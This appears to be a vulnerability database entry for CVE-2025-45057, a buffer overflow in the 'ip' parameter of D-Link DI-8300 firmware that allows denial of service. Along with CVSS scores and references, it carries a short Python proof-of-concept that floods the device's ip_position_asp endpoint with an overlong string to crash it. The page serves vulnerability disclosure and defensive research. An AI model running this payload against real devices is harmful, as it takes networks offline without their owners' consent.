CVE-2025-45057

Description

D-Link DI-8300 v16.07.26A1 was discovered to contain a buffer overflow via the ip parameter in the ip_position_asp function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:di-8300_firmware:16.07.26a1:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:di-8300:-:*:*:*:*:*:*:* - NOT VULNERABLE

D-Link DI-8300 v16.07.26A1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_poc(target_ip):
    url = f"http://{target_ip}/ip_position_asp"
    # Payload to trigger buffer overflow in 'ip' parameter
    payload = "A" * 1000 
    params = {"ip": payload}
    
    try:
        print(f"[+] Sending payload to {url}")
        r = requests.get(url, params=params, timeout=5)
        print(f"[-] Status: {r.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[!] Device likely crashed: {e}")

if __name__ == "__main__":
    exploit_poc("192.168.0.1")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-45057
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-45057
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-45057/
[4] VulDB https://vuldb.com/cve/CVE-2025-45057
[5] https://github.com/xiaotea/iot-vulnerability-collection/blob/main/README.md
[6] https://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-8300
[7] https://www.dlink.com/en/security-bulletin/

Raw JSON Data

JSON

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